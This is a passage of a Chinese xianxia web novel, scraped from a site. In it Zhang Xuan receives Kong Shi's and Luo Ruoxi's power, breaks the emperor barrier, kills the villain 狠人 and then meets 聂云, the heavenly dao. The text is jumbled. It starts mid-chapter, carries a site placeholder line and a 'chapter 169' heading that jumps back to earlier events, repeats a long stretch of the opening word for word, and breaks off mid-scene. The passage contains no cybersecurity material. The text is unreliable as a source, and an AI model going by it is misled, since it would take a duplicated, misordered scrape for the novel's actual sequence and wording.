“那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百六十九章 手段 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 